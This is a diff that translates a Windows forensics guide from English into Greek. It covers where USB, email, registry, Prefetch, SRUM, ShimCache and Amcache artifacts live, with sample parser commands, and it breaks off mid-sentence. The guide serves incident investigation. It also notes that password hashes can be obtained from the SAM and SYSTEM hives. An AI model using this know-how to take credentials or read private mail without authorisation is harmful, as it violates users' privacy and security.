[**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../images/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Σημειώστε ότι οι χρονικές σφραγίδες που παρέχονται από το JumplistExplorer σχετίζονται με το αρχείο jumplist_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι τα shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Χρήση USB Windows -It's possible to identify that a USB device was used thanks to the creation of: +Είναι δυνατόν να προσδιοριστεί ότι μια συσκευή USB χρησιμοποιήθηκε χάρη στη δημιουργία: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Φακέλου Πρόσφατων Windows +- Φακέλου Πρόσφατων Microsoft Office - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Σημειώστε ότι κάποια αρχεία LNK αντί να δείχνουν στο αρχικό μονοπάτι, δείχνουν στο φάκελο WPDNSE: ![](<../../../images/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +Τα αρχεία στον φάκελο WPDNSE είναι ένα αντίγραφο των αρχικών, επομένως δεν θα επιβιώσουν από μια επανεκκίνηση του υπολογιστή και το GUID λαμβάνεται από ένα shellbag. -### Registry Information +### Πληροφορίες Μητρώου -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Ελέγξτε αυτή τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με τις συνδεδεμένες συσκευές USB. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με το πότε πραγματοποιήθηκε η σύνδεση USB (αναζητήστε `Section start`). ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να αποκτήσει πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα. ![](<../../../images/image (483).png>) -### Plug and Play Cleanup +### Καθαρισμός Plug and Play -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή. -The task is located at the following path: +Η εργασία βρίσκεται στο παρακάτω μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: +Μια στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας παρέχεται: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Κύρια Συστατικά και Ρυθμίσεις της Εργασίας:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Αυτό το DLL είναι υπεύθυνο για τη διαδικασία καθαρισμού. +- **UseUnifiedSchedulingEngine**: Ρυθμισμένο σε `TRUE`, υποδεικνύει τη χρήση της γενικής μηχανής προγραμματισμού εργασιών. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Κατευθύνει τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαία κατά τη διάρκεια της κανονικής Αυτόματης συντήρησης. +- **Deadline ('P2M')**: Δίνει οδηγίες στον Προγραμματιστή Εργασιών, εάν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια της επείγουσας Αυτόματης συντήρησης. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με διατάξεις για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) ## Emails -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +Τα emails περιέχουν **2 ενδιαφέροντα μέρη: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Ποιος** έστειλε τα emails (διεύθυνση email, IP, mail servers που έχουν ανακατευθύνει το email) +- **Πότε** εστάλη το email -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων: ![](<../../../images/image (484).png>) ### Windows Mail App -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στο `\Users\\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Αλλάξτε την επέκταση** του αρχείου από `.vol` σε `.edb` και μπορείτε να χρησιμοποιήσετε το εργαλείο [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) για να το ανοίξετε. Μέσα στον πίνακα `Message` μπορείτε να δείτε τα emails. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια headers MAPI: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν εστάλη το email +- `Mapi-Conversation-Index`: Αριθμός μηνυμάτων παιδιών της συνομιλίας και χρονική σφραγίδα κάθε μηνύματος της συνομιλίας +- `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος. +- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST σε: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +Η διαδρομή μητρώου `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` υποδεικνύει το αρχείο που χρησιμοποιείται. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +Μπορείτε να ανοίξετε το αρχείο PST χρησιμοποιώντας το εργαλείο [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../images/image (485).png>) ### Microsoft Outlook OST Files -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -### Retrieving Attachments +### Ανάκτηση Συνημμένων -Lost attachments might be recoverable from: +Χαμένα συνημμένα μπορεί να είναι ανακτήσιμα από: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Για **IE11 και άνω**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` ### Thunderbird MBOX Files -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** χρησιμοποιεί **MBOX αρχεία** για να αποθηκεύσει δεδομένα, που βρίσκονται στο `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -### Image Thumbnails +### Εικόνες Μικρογραφιών -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP και 8-8.1**: Η πρόσβαση σε έναν φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνας, ακόμη και μετά τη διαγραφή. +- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελάζεται μέσω δικτύου μέσω UNC διαδρομής. +- **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών κεντρικοποιούνται στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία που ονομάζονται **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) είναι εργαλεία για την προβολή αυτών των αρχείων. -### Windows Registry Information +### Πληροφορίες Μητρώου Windows -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Το Μητρώο Windows, που αποθηκεύει εκτενή δεδομένα συστήματος και δραστηριότητας χρηστών, περιέχεται σε αρχεία σε: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` για διάφορους υποκλειδιά `HKEY_LOCAL_MACHINE`. +- `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`. +- Οι εκδόσεις Windows Vista και νεότερες δημιουργούν αντίγραφα ασφαλείας των αρχείων μητρώου `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`. +- Επιπλέον, οι πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και Windows 2008 Server και μετά. -### Tools +### Εργαλεία -Some tools are useful to analyze the registry files: +Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο. -### Recovering Deleted Element +### Ανάκτηση Διαγραμμένων Στοιχείων -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Όταν ένα κλειδί διαγράφεται, επισημαίνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά. -### Last Write Time +### Τελευταίος Χρόνος Γραφής -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Κάθε Key-Value περιέχει μια **χρονική σφραγίδα** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης χρηστών** του συστήματος. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**. -### Interesting entries in the Windows Registry +### Ενδιαφέροντα Εγγραφές στο Μητρώο Windows {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Εκτελούμενα Προγράμματα -### Basic Windows Processes +### Βασικές Διαδικασίες Windows -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +Σε [αυτή την ανάρτηση](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) μπορείτε να μάθετε για τις κοινές διαδικασίες Windows για να ανιχνεύσετε ύποπτες συμπεριφορές. -### Windows Recent APPs +### Πρόσφατες Εφαρμογές Windows -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +Μέσα στο μητρώο `NTUSER.DAT` στη διαδρομή `Software\Microsoft\Current Version\Search\RecentApps` μπορείτε να βρείτε υποκλειδιά με πληροφορίες σχετικά με την **εφαρμογή που εκτελέστηκε**, **την τελευταία φορά** που εκτελέστηκε και **τον αριθμό φορών** που εκκινήθηκε. ### BAM (Background Activity Moderator) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου). ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Η προετοιμασία είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **ανακτά σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσουν περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` μέσα στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα. +Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **να φορτώνει προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενα. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\ +Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **αρχεία** **που άνοιξαν**, τον **όγκο** **που προσπελάστηκε**, την **πλήρη** **διαδρομή**, τα **χρονικά διαστήματα** και τα **χρονοσφραγίσματα**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** **που καταναλώνονται** **από μια διαδικασία**. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Δίνει τις εξής πληροφορίες: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID και Διαδρομή +- Χρήστης που εκτέλεσε τη διαδικασία +- Αποστολή Bytes +- Λήψη Bytes +- Δικτυακή Διεπαφή +- Διάρκεια σύνδεσης +- Διάρκεια διαδικασίας -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά. +Μπορείτε να αποκτήσετε την ημερομηνία από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +Το **AppCompatCache**, γνωστό και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Πλήρης διαδρομή του αρχείου +- Μέγεθος του αρχείου +- Τελευταία τροποποίηση κάτω από **$Standard_Information** (SI) +- Τελευταία ενημέρωση του ShimCache +- Ση flag εκτέλεσης διαδικασίας -Such data is stored within the registry at specific locations based on the version of the operating system: +Τέτοιες πληροφορίες αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες ανάλογα με την έκδοση του λειτουργικού συστήματος: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- Για XP, τα δεδομένα αποθηκεύονται κάτω από `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών. +- Για Server 2003, καθώς και για τις εκδόσεις Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, φιλοξενώντας 512 και 1024 εγγραφές, αντίστοιχα. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Για να αναλύσετε τις αποθηκευμένες πληροφορίες, προτείνεται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). ![](<../../../images/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +Το αρχείο **Amcache.hve** είναι ουσιαστικά μια κυψέλη μητρώου που καταγράφει λεπτομέρειες σχετικά με τις εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα. +Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Μεταξύ των παραγόμενων αρχείων CSV, το `Amcache_Unassociated file entries` είναι ιδιαίτερα αξιοσημείωτο λόγω των πλούσιων πληροφοριών που παρέχει σχετικά με τις μη συσχετισμένες καταχωρίσεις αρχείων. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Το πιο ενδιαφέρον αρχείο CVS που παραγένεται είναι το `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Αυτό το αποδεικτικό μπορεί να βρεθεί μόνο σε W7 στο `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο. -### Scheduled tasks +### Προγραμματισμένα καθήκοντα -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Μπορείτε να τα εξάγετε από `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τα διαβάσετε ως XML. -### Services +### Υπηρεσίες -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι 